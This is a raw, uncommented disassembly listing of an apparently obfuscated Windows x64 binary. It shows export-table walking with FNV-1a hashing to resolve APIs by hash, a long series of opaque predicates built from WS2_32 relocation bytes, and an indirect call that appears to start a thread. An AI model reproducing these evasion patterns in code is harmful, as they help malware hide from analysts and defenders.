jne 0x14010660d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010660d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010660d
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r13d
jmp 0x14010659b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140106590
cmp edx, esi
je 0x1401065b0
test r11d, r11d
jne 0x14010657d
jmp 0x14010660d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140106625
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140106625
mov edi, r13d
mov esi, r13d
jmp 0x1401065ee
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401065e0
jmp 0x140106601
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401065f6
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140106622
cmp qword [rax + 0x30], r12
jne 0x1401064fe
mov rdx, r12
mov qword [0x140342ee0], rdx
mov ecx, 0x80000041
call rdx
mov byte [0x140341511], 1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d7
cmp byte [0x14034150a], r12b
je 0x14010669f
cmp byte [0x140341508], r12b
je 0x14010669f
cmp byte [0x14034150d], r12b
mov edx, 1
jne 0x1401066a2
mov rdx, r12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106761
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140106761
mov r9d, 9
jmp 0x1401067f9
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401067f4
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x1401067f9
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14010a94c
mov byte [rsp + 0x70], r12b
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x70]
call fcn.1400deed4
mov r9, rax
movsd xmm6, qword [0x14016a610]
movsd xmm7, qword [0x14016a618]
movsd xmm9, qword [0x14016a620]
cmp byte [rax], r12b
jne 0x140107312
mov dword [rsp + 0x60], r12d
mov ecx, dword [rsp + 0x60]
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*4]
mov dword [rsp + 0x78], eax
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
add r15d, ecx
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
movsx ebx, al
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.1401379f4
movsx ecx, al
add esi, ecx
call fcn.1401379e4
movsx edi, al
call fcn.1401379e8
movsx ecx, al
imul edi, ecx
call fcn.1401379f4
movsx r14d, al
movsd xmm3, qword [0x14016a608]
mov r12d, dword [rsp + 0x78]
mov r13d, dword [rsp + 0x78]
movsx edx, byte [0x140341580]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106b0f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401069c9
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401069c9
mov r12d, 9
jmp 0x140106a1b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106a1b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r12d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106a93
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106a93
mov r13d, 9
jmp 0x140106ae5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106ae5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, r13d
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, r12d
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x78]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010710f
movsx ecx, byte [0x140341580]
imul ecx, r10d
imul edx, ecx, 7
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106d1b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106bcf
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106bcf
mov dword [rbp - 0x60], 9
jmp 0x140106c23
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106c23
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106c9c
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106c9c
mov dword [rbp - 0x5c], 9
jmp 0x140106cf0
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106cf0
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x5c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x5c]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x60]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx edx, byte [0x140341580]
imul edx, r10d
shl edx, 3
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106f02
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106db6
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106db6
mov dword [rbp - 0x68], 9
jmp 0x140106e0a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106e0a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106e83
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106e83
mov dword [rbp - 0x64], 9
jmp 0x140106ed7
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106ed7
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x64], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x64]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x68]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
lea ecx, [rdi + r14]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + rdi*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010710f
mov eax, dword [rsp + 0x60]
add eax, 0x2a
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106fb4
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140106fb4
mov dword [rbp - 0x70], 9
jmp 0x140107008
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107008
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
mov eax, dword [rsp + 0x60]
add eax, 0x2a
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107090
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107090
mov dword [rbp - 0x6c], 9
jmp 0x1401070e4
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401070e4
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x6c]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x70]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*8]
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401072f8
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401071ab
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401071ab
mov dword [rbp - 0x50], 9
jmp 0x1401071ff
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401071ff
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x50], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107279
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107279
mov dword [rbp - 0x78], 9
jmp 0x1401072cd
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401072cd
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, dword [rbp - 0x78]
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, dword [rbp - 0x50]
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x140106930
xor r12d, r12d
mov byte [r9], 1
mov eax, dword [r9 + 4]
lea rcx, [0x140000000]
mov r10, qword [rcx + rax*8 + 0x33f980]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x14010b1c8]
xor edx, edx
xor ecx, ecx
call r10
mov qword [0x140341518], rax
mov byte [rsp + 0x70], r12b
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1400df2f0
mov r9, rax
cmp byte [rax], r12b
jne 0x140107e0a
mov dword [rsp + 0x60], r12d
mov ecx, dword [rsp + 0x60]
cmp ecx, 1
jae 0x140107e0a
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*4]
mov dword [rsp + 0x78], eax
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
add r15d, ecx
call fcn.1401379ec
movsx r10d, al
call fcn.1401379f8
movsx r11d, al
call fcn.1401379f0
movsx ebx, al
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.1401379f4
movsx ecx, al
add esi, ecx
call fcn.1401379e4
movsx edi, al
call fcn.1401379e8
movsx ecx, al
imul edi, ecx
call fcn.1401379f4
movsx r14d, al
mov r12d, dword [rsp + 0x78]
mov r13d, dword [rsp + 0x78]
movsx edx, byte [0x140341580]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401075ff
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401074b9
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401074b9
mov r12d, 9
jmp 0x14010750b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010750b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r12d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140107583
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140107583
mov r13d, 9
jmp 0x1401075d5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401075d5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r9 + rax*4 + 4]
and r8d, r13d
add r8d, r8d
movsxd rax, dword [rsp + 0x60]
mov edx, dword [r9 + rax*4 + 4]
sub edx, r8d
add edx, r12d
movsxd rax, dword [rsp + 0x60]
mov dword [r9 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x78]
